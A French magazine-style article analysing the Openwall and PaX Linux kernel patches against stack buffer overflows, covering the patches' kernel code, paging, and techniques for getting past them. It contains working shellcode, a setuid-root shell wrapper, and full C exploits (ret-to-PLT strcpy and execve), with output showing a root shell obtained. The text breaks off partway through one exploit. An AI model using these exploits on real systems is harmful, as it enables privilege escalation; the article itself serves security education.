Introduction

Cet article poursuit la série entamée dans MISC 1 sur les protections contre les débordements de buffer. Nous avions essentiellement introduit la structure d'un programme Elf et le mécanismes gérant la résolution de symboles (PLT/GOT).

Dans celui-ci, nous présentons deux défenses agissant au niveau du noyau afin de rendre la pile non exécutable : les patches Openwall et PaX. Pour chacun d'eux, nous étudierons les choix techniques mis en oeuvre et les limites imposées par ces solutions. Enfin, dans une dernière partie, nous apporterons quelques précisions sur un article de Nergal [3] qui propose un moyen de contourner PaX qui fonctionne également contre Openwall.

The Linux kernel patch from the Openwall project

Présentation générale

Le project Openwall (http://www.openwall.com) regroupe divers produits, comme le "craker de mot de passe" John the Ripper ou le serveur popa3d pour n'en citer que deux. Openwall fournit également un patch pour le noyau Linux, développé par Solar Designer, qui propose plusieurs protections supplémentaires comme  :

Les fichiers README et FAQ qui viennent avec l'archive vous décriront bien plus en détails tout ceci.

Des versions de ce patch sont disponibles uniquement pour les noyaux 2.0.39 et 2.2.20. Le support des 2.4.x n'est pas prévu pour tout de suite, Solar Designer préférant attendre que cette version se stabilise avant de se lancer dans le portage de son patch.

Dans cet article, nous nous intéressons uniquement à la protection contre les débordements de buffer. Le mécanisme employé repose sur les interruptions : lorsqu'une fonction se termine, la fonction do_general_protection() (linux/arch/i386/kernel/traps.c) est appelée si l'adresse de retour n'est pas située dans une région valide. Le patch redéfinit la région allouée au code utilisateur de manière à ce qu'elle ne comprenne pas la pile. Ainsi, lors d'un retour effectué directement dans la pile, une interruption est levée puis traitée.

La protection CONFIG_SECURE_STACK

Dans le monde des microprocesseurs, une interruption est définie comme un événement qui modifie le cours normal de l'exécution d'un programme. Elles sont classées en deux catégories :

  1. les interruptions internes (ou synchrones), produites par l'unité de contrôle du processeur, ne sont déclenchées qu'une fois l'exécution de l'instruction en cours terminée ;
  2. les interruptions externes (ou asynchrones) proviennent d'autres matériels que le microprocesseur (disque dur, imprimante, ...), indépendamment de ses signaux d'horloge.

Les manuels des processeurs Intel 80x86 désigne une interruption synchrone par le terme exception et une asynchrone par interruption. Le terme signal d'interruption regroupe ces deux dénominations. Lorsqu'un signal d'interruption parvient au processeur, celui-ci arrête ce qu'il est en train de faire et exécute le gestionnaire (ou handler) associé au signal.

Il existe deux sortes d'exceptions :

Tab. 1 : quelques exceptions sur les processeurs Intel 80x86
# Exception Gestionnaire d'exception Signal
0 Divide error divide_error() SIGFPE
4 Overflow overflow() SIGSEGV
7 Device not available device_not_available() SIGSEGV
11 Segment not present segment_not_present() SIGBUS
12 Stack exception stack_segment() SIGBUS
13 General protection general_protection() SIGSEGV
14 Page fault page_fault() SIGSEGV
16 Floating point error coprocessor_error() SIGFPE

Lors de l'exploitation d'un débordement de buffer dans la pile en remplaçant la valeur de retour de la fonction courante, le registre d'instruction %eip se retrouve à pointer dans la pile. Or, le patch d'Openwall déplace le sommet de la zone de code pour les processus utilisateur en fonction de la mémoire disponible (pour les gourous du noyau, cela se passe dans le fichier arch/i386/kernel/head.S lors de la définition de la GDT - Global Descriptor Table). Ainsi, le registre %eip sort de la zone qui est valide pour lui, ce qui déclenche une interruption gérée par la fonction do_general_protection(). La patch d'Openwall adapte simplement ce gestionnaire :

diff -urPX nopatch linux-2.2.20/arch/i386/kernel/traps.c linux/arch/i386/kernel/traps.c
--- linux-2.2.20/arch/i386/kernel/traps.c	Sat Nov  3 01:07:44 2001
+++ linux/arch/i386/kernel/traps.c	Sat Nov  3 03:44:21 2001
[...]
 asmlinkage void do_general_protection(struct pt_regs * regs, long
error_code)
 {
[...}
+/*
+ * Check if we're returning to the stack area, which is only likely to happen
+ * when attempting to exploit a buffer overflow.
+ */
+               if ((addr & 0xFF800000) == 0xBF800000 ||
+                   (addr >= PAGE_OFFSET - _STK_LIM && addr < PAGE_OFFSET))
+                       security_alert("return onto stack running as "
+                               "UID %d, EUID %d, process %s:%d",
+                               "returns onto stack",
+                               current->uid, current->euid,
+                               current->comm, current->pid);
+       }
[...]
}

Le simple test (addr & 0xFF800000) == 0xBF800000 suffit à vérifier si l'adresse de retour pointe dans la pile, le reste de la condition contrôlant simplement que cette adresse est bien dans un intervalle légal.

De quoi protège l'option CONFIG_SECURE_STACK ?

Il existe différentes méthodes pour exploiter un débordement de buffer dans la pile. La plus répandue consiste à remplacer l'adresse de retour de la fonction où se produit le débordement par l'adresse d'un shellcode que l'attaquant aura pris soin de placer au préalable en mémoire (via une variable d'environnement ou une option du programme par exemple).

Une autre approche, appelée return into libc (retour dans la libc) consiste à modifier l'adresse de retour pour la faire pointer directement vers une fonction dans la libc (voir [3, 4]).

Les différentes zones mémoire

Nous avons présenté dans le précédent article (voir [1]) les différentes zones mémoire disponibles pour une variable. Le tableau 2 résume cela.

Tab. 2 : zones mémoire et variables
Zone mémoireVariablePortéeDurée de vie
.bss globale (non initialisée) processus toute l'exécution du processus
.data globale (initialisée) processus toute l'exécution du processus
tas (heap) dynamique locale du malloc() au free() correspondant
pile (stack) automatique locale fonction courante

Exécution d'un shellcode dans le .data, le .bss ou le tas

Reprenons les petits programmes utilisés dans l'introduction (voir [1]) qui simulent des débordements de buffer en plaçant un shellcode classique dans ces différentes zones mémoire :

$ ./sh_data 
sh-2.04$ exit
$ ./sh_bss 
sh-2.04$ exit
$ ./sh_heap 
sh-2.04$ exit
$ 

Dans les trois cas, le shellcode est exécuté. Cela n'a rien de surprenant puisque la documentation du patch précise bien que celui-ci ne protège que la pile.

Il y a quand même un détail étonnant. Dans ces trois programmes, le shellcode se situe à l'adresse 0x8049520 (sh_data), 0x80496c0 (sh_bss) et 0x80496b0 (sh_heap). Le fichier /proc/<pid>/maps nous renseigne sur les droits des différentes zones mémoire :

$ ./sh_data 
^Z
[3]+  Stopped                 ./sh_data
$ cat /proc/`ps | grep sh_ | awk '{print $1}'`/maps
00110000-00126000 r-xp 00000000 08:01 26579      /lib/ld-2.2.2.so
00126000-00127000 rw-p 00015000 08:01 26579      /lib/ld-2.2.2.so
00127000-00128000 rw-p 00000000 00:00 0
00133000-0025c000 r-xp 00000000 08:01 26588      /lib/libc-2.2.2.so
0025c000-00261000 rw-p 00128000 08:01 26588      /lib/libc-2.2.2.so
00261000-00265000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:03 884812     /home/raynal/Openwall/sh_data
08049000-0804a000 rw-p 00000000 08:03 884812     /home/raynal/Openwall/sh_data
bfffe000-c0000000 rwxp fffff000 00:00 0

Les régions .data, .bss et le tas se situent dans la plage d'adresses 0x08049000-0x0804a000. Or, les droits rapportés sont rw-p et le caractère x, qui indique le droit d'exécution, n'est pas présent. Malgré cela, le shellcode est exécuté. En fait, cela est possible car, pour Linux, le droit de lecture implique celui d'exécution. Tous les détails sont donnés dans la partie sur PaX car cela constitue le point crucial de cette protection.

Shellcode dans la pile (stack)

Nous nous intéressons maintenant au programme sh_stack qui simule un débordement de buffer dans la pile. Pour cela, l'adresse de retour d'une fonction est remplacée par celle d'une variable automatique contenant le shellcode (voir [1]).

/* sh_stack.c */
int main()
{
  int * ret;
  char shellcode[] =
	  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  * ((int *) & ret + 2) = (int) shellcode;
  return (0);
}

Attention

Lorsque la distribution RH 7.0 est sortie, les gens de chez Red Hat ont trouvé futé de prendre comme compilateur une version de développement : la version 2.96. Celle-ci n'existe que chez Red Hat -- et toutes les distributions qui utilisent les mêmes paquets -- et comporte certains problèmes ... Du coup, il faut remplacer le +2 par +4 dans l'exemple ci-dessus.

Maintenant que l'adresse de retour est modifiée pour pointer directement dans la pile, à l'endroit où est placé shellcode, une exception est levée et le patch Openwall provoque une faute de segmentation (enfin, si l'option appropriée a été sélectionnée lors de la compilation du noyau). Un fichier core est généré  :

$ ./sh_stack 
Segmentation fault (core dumped)
$ gdb sh_stack core
[...]
Core was generated by `./sh_stack'.
Program terminated with signal 11, Segmentation fault.
#0  0x0804845f in main () at sh_stack.c:12
12	}
(gdb) disass main
[...]
0x804845e <main+46>:	pop    %ebp
0x804845f <main+47>:	ret    

Le programme a planté sur le ret censé nous emmener au début de notre shellcode. En effet, il a détecté que nous allions placer le registre d'instruction %eip sur la pile, ce qui est considéré comme une tentative d'exploitation d'un débordement de buffer.

Par ailleurs, signalons que le patch prévoit également un système de log pour enregistrer les tentatives d'exécution dans la pile. Il suffit d'ajouter la ligne suivante dans /etc/syslog.conf :

kern.alert                              /var/log/alert

Le fichier /var/log/alert contient un message signalant un problème :

[root(at)charly]# tail -n 1 /var/log/alert Jan 27 18:12:36 charly
kernel: Security: return onto stack running as UID 1000, EUID 1000 process sh_stack:22281 

ret-into-libc

Une technique pour exploiter les débordements de buffer est de modifier l'adresse de retour de la fonction vulnérable pour l'emmener directement dans la libc. L'intérêt est alors de ne pas avoir besoin de shellcode puisqu'à la place, il est possible de faire exécuter les fonctions de son choix, comme par exemple system("/bin/sh").

L'objectif est de remplacer dans la pile les différents registres sauvegardés par des valeurs qui représentent des appels de fonctions. Ainsi, en figure 1, l'adresse de retour est écrasée pour être remplacée par celle de la fonction system().

Fig. 1 : Retour dans la libc
&(/bin/sh) = adresse de la chaîne "/bin/sh", passée via une variable d'environnement par exemple
&system() = adresse de la fonction system() dans la libc
junk = agit comme adresse de retour après le system()

Nous n'allons pas faire durer le suspense plus longtemps : cette méthode ne fonctionne pas avec le patch Openwall. En effet, en même temps que CONFIG_SECURE_STACK, le patch en profite pour redéfinir l'adresse où sont chargées les bibliothèques en mémoire. Ainsi, pour le format Elf, le patch effectue l'opération suivante :

diff -urPX nopatch linux-2.2.20/include/asm-i386/processor.h linux/include/asm-i386/processor.h
--- linux-2.2.20/include/asm-i386/processor.h	Mon Mar 26 07:13:23 2001
+++ linux/include/asm-i386/processor.h	Sat Nov  3 04:12:44 2001
[...]
 #define TASK_SIZE	(PAGE_OFFSET)
[...]
 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
  */
+#if defined(CONFIG_SECURE_STACK) && defined(CONFIG_BINFMT_ELF)
+extern struct linux_binfmt elf_format;
+#define TASK_UNMAPPED_BASE(size) ( \
+	current->binfmt == &elf_format && \
+	!(current->flags & PF_STACKEXEC) && \
+	(size) < 0x00ef0000UL \
+	? 0x00110000UL \
+	: TASK_SIZE / 3 )
+#else
 #define TASK_UNMAPPED_BASE	(TASK_SIZE / 3)
+#endif
[...]

La nouvelle définition de TASK_UNMAPPED_BASE provoque le chargement des bibliothèques à partir de l'adresse 0x00110000. Normalement, la constante TASK_SIZE est en fait égale à PAGE_OFFSET (dans include/asm-i386/processor.h), elle-même définie à partir de PAGE_OFFSET_RAW (dans include/asm-i386/page.h) qui vaut 0xC0000000 (le patch d'Openwall la redéfinit en fonction de la mémoire disponible). Ainsi, les bibliothèques sont ordinairement chargées à partir de l'adresse 0xC0000000/3=0x40000000. Il est assez simple de vérifier cela :

/* noyau 2.4.17 non patché */
$ cat /proc/self/maps
08048000-0804c000 r-xp 00000000 03:07 689        /bin/cat
0804c000-0804d000 rw-p 00003000 03:07 689        /bin/cat
0804d000-08051000 rwxp 00000000 00:00 0
40000000-40016000 r-xp 00000000 03:07 58767      /lib/ld-2.2.4.so  [1]
40016000-40017000 rw-p 00015000 03:07 58767      /lib/ld-2.2.4.so
[...]

/* noyau 2.2.20 patché */
$ cat /proc/self/maps
00110000-00125000 r-xp 00000000 08:01 28858      /lib/ld-2.2.4.so  [1] 
00125000-00126000 rw-p 00014000 08:01 28858      /lib/ld-2.2.4.so
00126000-00127000 rw-p 00000000 00:00 0
...
08048000-0804a000 r-xp 00000000 08:01 45459      /bin/cat
0804a000-0804c000 rw-p 00001000 08:01 45459      /bin/cat
[...]

[1] Chargement des bibliothèques

Ainsi, comme les adresses des fonctions contiennent maintenant un caractère NULL, s'il est possible de les placer dans la pile, il est impossible de mettre ensuite les adresses des arguments dont elles ont besoin.

Contourner la protection

Dans la suite de cet article, nous considérons le programme vulnérable suivant :

/* vuln.c */
#include <stdio.h>

int make_buffer( char * buffer, char * egg )
{
	if ( strstr(egg, "sh") != NULL ) {
                exit( -1 );
        }

        strcpy( buffer, "/bin/" );
        strcat( buffer, egg );
        return 0;
}

int main( int argc, char * argv[] )
{
        char buffer[128];
        char * exec_argv[] = { buffer, NULL };

        make_buffer( buffer, argv[1] );

        exec_argv[0] = buffer;
        execve( exec_argv[0], exec_argv, 0 );
        return 0;
}

Placer le shellcode ailleurs que dans la pile

Cette méthode est présentée dans [2], excellent article de Nergal qui donne deux méthodes pour contourner le patch Openwall. Il vient également de produire un article déjà incontournable dans Phrack 58 qui décrit différentes solutions pour contourner PaX à l'aide de la technique dite de ret-into-libc (voir [3]).

Comme nous venons de le voir, si on place le shellcode dans la pile, celui-ci ne peut pas être exécuté. Il suffit donc de le placer ailleurs :) Pour cela, nous modifions la pile de la fonction où se produit le débordement. Le principe est de reconstruire dans la pile un environnement correspondant à l'appel d'une fonction type strcpy(), c'est-à-dire de fournir (voir fig. 2) :

Fig. 2 : Faire copier le shellcode en mémoire
&shellcode = adresse du shellcode
DST = adresse située (presque) n'importe où dans la région des données
PLT(strcpy) = adresse de la PLT pour la fonction strcpy()
DST = agit comme adresse de retour pour strcpy()

Lorsqu'il s'agit de quitter la fonction vulnérable, l'adresse de retour considérée est celle de la PLT de la fonction strcpy(). Cette fonction réclame deux arguments : une adresse source et une destination. En guise d'adresse source, on lui passe celle du shellcode déjà placé par exemple dans une variable d'environnement. Pour l'adresse destination, n'importe quelle adresse dans la région des données convient. Ainsi, cet appel à strcpy() place le shellcode dans les données puis, en quittant strcpy(), le registre %eip est restauré à l'aide de cette même adresse destination , i.e. celle du shellcode nouvellement placé dans la section des données.

Déterminons les trois valeurs dont nous avons besoin pour exploiter le programme :

  1. L'écart entre le début du buffer et le registre %eip sauvegardé dans la pile (normalement, cela correspond à la taille des variables locales définies dans la fonction), soit 128 ici ... sauf que sur la Red Hat 7.1 qui nous sert de machine de test, cette valeur est de 136 : no comment ;-/ Pour déterminer cette valeur, la commande objdump nous fournit le code assembleur du programme. Nous devons alors rechercher dedans une instruction du genre sub XX, %esp :
          $ objdump --disassemble ./vuln
          [...]
          080483e4 <make_buffer>:
          80483e4:       55                      push   %ebp
          80483e5:       89 e5                   mov    %esp,%ebp
          80483e7:       57                      push   %edi
          80483e8:       81 ec 84 00 00 00       sub    $0x84,%esp
          [...]
          
    Ici, nous obtenons donc la valeur 132 (0x84) d'écart entre le pointeur de frame %esp et le sommet de la pile (%ebp). Donc, comme l'adresse de retour est sauvegardée 4 octets au-dessus de %ebp, la valeur que nous recherchons est bien de 136.
    Signalons tout de même que le calcul effectué ici ne fonctionne pas systématiquement. En effet, dans notre exemple, le buffer vulnérable est la dernière variable locale déclarée. Ainsi, le pointeur de frame %esp pointe exactement sur le début de la variable buffer (&buffer == %esp).
  2. L'adresse de la PLT pour strcpy() :
          $ objdump -T ./vuln | grep strcpy
          0804841c      DF *UND*  0000001f  GLIBC_2.0   strcpy
          
  3. L'adresse de la section des données :
          $ objdump -j .data -s ./vuln
    
          ./vuln:     file format elf32-i386
    
          Contents of section .data:
           8049674 00000000 00000000 94960408 00000000  ................
          

Dernier détail avant de se lancer dans l'exploitation elle-même, les versions récentes de bash (et donc de /bin/sh) abaissent les privilèges avant que nous obtenions le shell et /bin/sh fait un segmentation fault si nous lui fournissons un pointeur NULL par argv (c'est le cas avec notre buffer). Donc plutot que de lancer /bin/sh dans notre exploit, nous écrivons un petit programme (un wrapper) qui nous donne les droits root avant de lancer un shell bash classique :

#include <unistd.h>

int main()
{
  char * name [] = { "/bin/sh", NULL };

  setuid( 0 );
  setgid( 0 );
  execve( name[0], name, NULL );
  _exit( 0 );
}

L'exploit suivant construit le buffer que nous venons de décrire puis appelle le programme vulnérable :

/* xowl-strcpy.c */
#include <stdio.h>
#include <stdlib.h>

#define STACK ( 0xc0000000 - 4 )
#define PLT 4
#define EBP 4
#define DST 4
#define SRC 4
#define PATH "./vuln"

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/qq";

int main( int argc, char * argv[] )
{
        char * buffer;
	char * exec_argv[] = { PATH, NULL, NULL };
	char * envp[] = { shellcode, NULL };
	char * ptr;
        int i, size = atoi( argv[1] ) - sizeof( "/bin/" ) + 1;
	u_int plt = strtoul( argv[2], 0, 16 );
	u_int dst = strtoul( argv[3], 0, 16 );

	ptr = buffer =( char * )malloc( size + EBP + PLT + DST + DST + SRC + 1 );

	memset( ptr, 'A', size + EBP ); /* let's go for overflow ... */
	ptr += size + EBP;

	*(u_int *)(ptr) = plt;         /* fake eip */
	ptr += PLT;

	*(u_int*)(ptr) = dst;         /* fake ret from 'plt()' (shellcode) */
	ptr += DST;

	*(u_int*)(ptr) = dst;         /* plt()'s arg1 (dst) */
	ptr += DST;

	/* plt()'s arg2 (src - exact address of shellcode in env) */
	*(u_int*)(ptr) = STACK - sizeof( PATH ) - sizeof( shellcode );  
	ptr += SRC;
	
	ptr = 0;
	exec_argv[1] = buffer;
        execve( exec_argv[0], exec_argv, envp );
        return( -1 );
}

Fort de nos paramètres, il ne nous reste plus qu'à le lancer :

$ ls -l ./vuln
-rwsr-sr-x    1 root     root        14003 Jan 26 18:06 ./vuln
$ ./xowl-strcpy 136 0x0804841c 0x8049674 
sh-2.05# id
uid=0(root) gid=0(root) groups=1000(users)

PaX et ses secrets

PaX est apparu il y a plus d'un an et comme toutes les autres protections, elle peut aussi être contournée. Beaucoup de mails ont d'ailleurs été échangés sur Bugtraq quant à l'utilité de ce patch, la prouesse technique n'étant pas contestée. Toutefois si nous regardons de plus près les fonctionnalités de PaX, nous nous apercevons qu'avec certaines protections activées, contourner ce patch n'est pas si aisé que cela. Il propose en effet les protections suivantes :

Des versions de ce patch sont disponibles pour les derniers noyaux 2.2 et 2.4.

Dans la suite de cet article, nous étudierons les protections CONFIG_PAX_PAGEEXEC et CONFIG_PAX_RANDMMAP. Mais avant de détailler le fonctionnement de PaX, nous présentons quelques mécanismes propres au noyau Linux, indispensables à une bonne compréhension du fonctionnement de ce patch.

La mémoire virtuelle

Tout Unix récent implémente un système de gestion de mémoire virtuelle. Elle est surtout indispensable pour :

Sa gestion est transparente vis-à-vis des utilisateurs et assure la protection des programmes et de leurs données (partie qui n'est pas abordée ici). Seule l'implémentation de la mémoire virtuelle est expliquée ci-dessous en vue de comprendre le fonctionnement de PaX.

L'espace d'adressage d'un processus

Nous distinguons sur un système Linux deux types d'adresses : les adresses physiques (mémoire réelle du système) et virtuelles (mémoire ... virtuelle du système). L'espace virtuel est segmenté en deux zones : l'espace utilisateur (0x00000000 à 0xc0000000-1) et l'espace noyau (0xc0000000 à 0xffffffff). Pour la distribution Caldera, l'espace utilisateur est 0x00000000 à 0x80000000-1 et l'espace noyau 0x80000000 à 0xfffffff. Chaque zone est organisée en blocs d'octets contigus (4Ko ou 4Mo), appelés pages. Il est impossible à un processus utilisateur d'accéder à l'espace noyau de la mémoire, le contraire n'étant pas vrai.

Chaque processus dispose d'un espace d'adressage virtuel géré par la structure mm_struct (linux/sched.h) :

struct mm_struct {
        struct vm_area_struct *mmap;            /* list of VMAs */
        struct vm_area_struct *mmap_avl;        /* tree of VMAs */
        struct vm_area_struct *mmap_cache;      /* last find_vma result */
        [...]
};

ainsi que par la structure vm_area_struct (linux/mm.h) vers laquelle pointent certains champs :

/*
 * This struct defines a memory VMM memory area. There is one of these
 * per VM-area/task.  A VM area is any part of the process virtual memory
 * space that has a special rule for the page-fault handlers (ie a shared
 * library, the executable area etc).
 */
struct vm_area_struct {
	struct mm_struct * vm_mm;       /* VM area parameters */
        unsigned long vm_start;
        unsigned long vm_end;

        /* linked list of VM areas per task, sorted by address */
        struct vm_area_struct *vm_next;

        pgprot_t vm_page_prot;
        unsigned short vm_flags;
        [...]
};

Elle représente une région de mémoire virtuelle associée au processus. Chaque région est caractérisée par une adresse de début (vm_start), une de fin (vm_end), des droits d'accès (lecture, écriture et exécution) représentés par le champ vm_flags, des protections de pages (vm_page_prot), et l'objet en cours d'exécution (par exemple les bibliothèques partagées). Les caractéristiques de ces régions peuvent être retrouvées grâce au fichier maps de chaque processus, dans le système de fichiers /proc (voir [1]).

La pagination

Afin d'allouer la mémoire, le processeur effectue une traduction ou translation d'adresses, qui transforme les adresses virtuelles en adresses physiques. Cette allocation ne se fait pas par blocs de mémoire mais page par page selon les besoins (les pages de 4Ko dont nous avons parlé plus haut).

Le mécanisme ne sera pas expliqué ici (voir [5] pour de plus amples détails). Il suffit de savoir que, pour effectuer cette translation, Linux manipule différentes tables (la seconde n'est en réalité pas utilisée pour l'architecture x86, mais elle est conservée pour des raisons de compatibilités avec les autres architectures) :

Cette dernière est la plus importante pour la suite. Une entrée dans cette table permet d'accéder aux adresses de pages mémoire contenant le code ou les données utilisées par le noyau ou les processus utilisateurs.

Les droits d'accès

Au niveau des tables de pages

Les protections des pages (champ vm_page_prot dans la structure vm_area_struct) peuvent prendre les valeurs suivantes définies dans le fichier asm/pgtables.h :

/*
 * The 4MB page is guessing..  Detailed in the infamous "Chapter H"
 * of the Pentium details, but assuming intel did the straightforward
 * thing, this bit set in the page directory entry just means that
 * the page directory entry points directly to a 4MB-aligned block of
 * memory.
 */
#define _PAGE_PRESENT   0x001
#define _PAGE_RW        0x002
#define _PAGE_USER      0x004
#define _PAGE_PWT       0x008
#define _PAGE_PCD       0x010
#define _PAGE_ACCESSED  0x020
#define _PAGE_DIRTY     0x040
#define _PAGE_4M        0x080   /* 4 MB page, Pentium+, if present.. */
#define _PAGE_GLOBAL    0x100   /* Global TLB entry PPro+ */

Depuis les processeurs Pentium, le noyau Linux utilise une pagination étendue. Les pages peuvent alors avoir une taille de 4Ko ou de 4Mo.

Les deux paramètres qui nous intéressent sont _PAGE_RW et _PAGE_USER. Le premier spécifie les droits d'accès (écriture/lecture si le flag est à 1 ou lecture sinon) à la table des pages ou aux pages elles-mêmes. Le second concerne les privilèges pour y accéder (user si le flag est à 1, ou supervisor sinon, c'est-à-dire en mode noyau).

Au niveau des régions de mémoire

Comme nous l'avons vu, les droits d'accès aux pages d'une région sont représentés par le champ vm_flags de la structure vm_area_struct. Elles peuvent alors avoir les droits de lecture (VM_READ), d'écriture (VM_WRITE), d'exécution (VM_EXEC) ou encore de partage (VM_SHARED) que nous ignorerons par la suite.

Fonctionnement de PaX

Où se situe le problème ?

Le schéma de protection implique une relation entre les droits d'accès des pages d'une région de mémoire et ceux de chaque entrée de la table des pages (décrite par le tableau protection_map[] dans mm/mmap.c).

Si vous avez suivi, vous avez pu remarquer qu'un problème va apparaître du fait que les processeurs IA-32 ont seulement deux bits de protection (drapeaux Read/Write et User/Supervisor) sur les entrées des tables de pages contre trois pour les privilèges des pages d'une région.

Linux, pour résoudre ce problème, considère que :

  1. des droits en lecture sur les entrées des tables de pages impliquent obligatoirement des droits d'exécution sur les pages mémoires correspondantes ;
  2. des droits d'écriture sur les entrées des tables de pages impliquent des droits de lecture sur les pages mémoires correspondantes.

Le rôle de PaX

Du fait des caractéristiques des CPUs IA-32, il est impossible de dissocier les privilèges des pages en lecture/écriture des privilèges en exécution. C'est là que PaX entre en action :)

PaX définit le flag PAGE_EXEC dans les tables des pages. Cette prouesse technique permet alors de dissocier les droits d'exécution et de lecture des pages mémoire.

Quels en sont les impacts ? Le noyau peut alors assurer que des pages avec les permissions en écriture ne sont pas exécutables. Concrètement, cela signifie qu'il est impossible d'exécuter du code sur la pile ou dans le tas.

C'est vérifiable avec le fichier maps d'un processus :

$ cat /proc/258/maps
08048000-080ca000 r-xp 00000000 03:01 419059     /usr/bin/vim
080ca000-080d1000 rw-p 00081000 03:01 419059     /usr/bin/vim
080d1000-080f8000 rw-p 00000000 00:00 0                         [1]
40000000-40012000 r-xp 00000000 03:01 225598     /lib/ld-2.1.3.so
40012000-40014000 rw-p 00011000 03:01 225598     /lib/ld-2.1.3.so
[...]
40157000-40159000 rw-p 00000000 00:00 0
bfffb000-c0000000 rw-p ffffc000 00:00 0                         [2]

Nous pouvons voir que les lignes [1] et [2] (pile) qui sont d'ordinaire exécutables ont seulement les permissions en lecture/écriture et non exécutable. Quant au tas, la commande objdump nous fournit son adresse :

$ /usr/bin/objdump -h /usr/bin/vim  | grep '^ 21'
21 .bss          00002ecc  080d04a0  080d04a0  000874a0  2**5
$ perl -e 'printf("heap: 0x%08x\n", 0x080d04a0 + 0x00002ecc)'
heap: 0x080d336c

L'adresse du tas est bien dans l'espace d'adresses de la ligne [1] qui est non exécutable.

Les limites de PaX

Il ne faut cependant pas croire que le débordement de buffers situés dans la pile ou dans le tas ne sont plus exploitables. En effet, malgré l'implémentation du flag PAGE_EXEC, certaines pages mémoire ont besoin d'être créées avec les permissions lecture/exécution : les pages du code correspondant au programme en cours d'exécution et celles des librairies partagées (cf. le fichier maps vu précédemment). Le principe général pour contourner PaX est de rediriger l'exécution du processus vers des pages exécutables après y avoir inséré ce que nous voulons exécuter. Une autre méthode (décrite plus loin) est de placer un shellcode en mémoire et de rendre l'espace mémoire occupé par le shellcode exécutable à l'aide de la fonction mmap().

La vulnérabilité

Pour tester l'efficacité de PaX, considérons le même programme vulnérable utilisé pour Openwall :

$ ./vuln `perl -e 'print "A" x 600'`
Segmentation fault
$

Les tests qui suivent sont effectués cette fois-ci sur une Debian 2.2. Par conséquent, nous n'avons plus les problèmes de gcc rencontrés sur Red Hat. Lançons donc l'exploit que nous aurions normalement développé sur un système sans PaX :

$ /bin/cat x.c
#include <stdio.h>

#define STACK ( 0xc0000000 - 4 )
#define EIP 4
#define EBP 4
#define SIZE 128*sizeof(char) - sizeof("/bin/") + 1
#define PATH "./vuln"

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main( int argc, char * argv[] )
{
        char buffer[ SIZE + EBP + EIP + 1 ];
	char * exec_argv[] = { PATH, buffer, NULL };
        char * envp[] = { shellcode, NULL };
        int i;

        for ( i = 0; i < SIZE + EBP; i++ ) {
                buffer[i] = 'A';
        }

        *( (size_t *) &(buffer[i]) ) = STACK - sizeof( PATH ) - sizeof( shellcode );
        i += sizeof( size_t );

        buffer[i] = '\0';

        execve( exec_argv[0], exec_argv, envp );
        return( -1 );
}

$ make x
cc     x.c   -o x
$ ./x
PAX: terminating task: vuln:330, EIP: BFFFFFC7, ESP: BFFFFE34
PAX: bytes at EIP: eb 1f 5e 89 76 08 31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e
Killed

Tout cela paraît donc évident. Nous voulons exécuter du code sur la pile et puisque la pile n'est pas exécutable, PaX se déclenche. La seconde ligne : 'PAX: bytes at EIP: eb 1f 5e 89 ...' montre effectivement les octets de notre shellcode à l'adresse EIP.

Nous y voilà enfin :)

Le principe pour contourner PaX est d'écraser l'adresse EIP avec une adresse d'une région mémoire où les pages sont exécutables, c'est-à-dire celles des librairies partagées ou du code du programme lui-même. Je ne réexpliquerai pas ici le fonctionnement de la PLT (Procedure Linkage Table) mais simplement la manière de s'en servir contre PaX.

Deux solutions (au moins ;) s'offrent à nous. La première est d'écraser l'adresse de retour avec l'adresse PLT d'une fonction de la librairie partagée si notre programme en appelle une. L'avantage de cette solution est que les adresses PLT ne contiennent jamais d'octets nuls (même avec Openwall), et qu'elles dépendent seulement du binaire (et donc de la distribution Linux). Une autre solution est d'utiliser le code d'une fonction dans la libc, celle-ci étant chargée même si notre programme vulnérable n'appelle pas cette fonction. Il suffit simplement que la libc soit chargée... ce qui arrive quasiment toujours.

Utilisons la première méthode, c'est-à-dire avec la PLT d'une fonction et plus particulièrement execve(). Le buffer fournit en argument sera donc construit de facon à ce qu'au moment d'exécuter le code, ce soit la fonction execve() (int execve (const char * fichier, char * constargv [], char * constenvp[]) qui soit invoquée avec les arguments que nous aurons pris soin de lui fournir :

[ A x (size + ebp) ][ eip = PLT execve() ][ junk ][ shell ][ null ][ null ]

Nous fournissons à la fonction execve() le shell à exécuter et un pointeur NULL pour argv et envp. Le 'junk' est une adresse quelconque, permettant de garder la trame de la pile (ou stack frame) valide (voir Fig. 1 dans la partie Openwall).

Il nous reste ensuite à récupérer la PLT de execve qui sera notre adresse de retour :

$ objdump -T ./vuln | grep execve
08048380      DF *UND*  00000056  GLIBC_2.0   execve

Et pour finir voici l'exploit modifié pour contourner PaX (à savoir que nous utilisons comme shell le même wrapper que pour Openwall) :

$ /bin/cat xplt.c
#include <stdio.h>

#define STACK ( 0xc0000000 - 4 )
#define EIP 4
#define EBP 4
#define SIZE 128*sizeof(char) - sizeof("/bin/") + 1
#define JUNK_SIZE 4*sizeof(char)
#define FILENAME_SIZE sizeof(char *)
#define ARGV_SIZE sizeof(char *)
#define ENVP_SIZE sizeof(char *)
#define PATH "./vuln"
#define PLT 0x08048380 
#define SH "./shell"

int main( int argc, char * argv[] )
{
        char buffer[ SIZE + EBP + EIP + JUNK_SIZE + FILENAME_SIZE + ARGV_SIZE + ENVP_SIZE + 1 ];
        char * exec_argv[] = { PATH, buffer, NULL };
        char * envp[] = { SH, NULL };
        char junk[] = "xxxx";
        int i;

        for ( i = 0; i < SIZE + EBP; i++ ) {
	        buffer[i] = 'A';
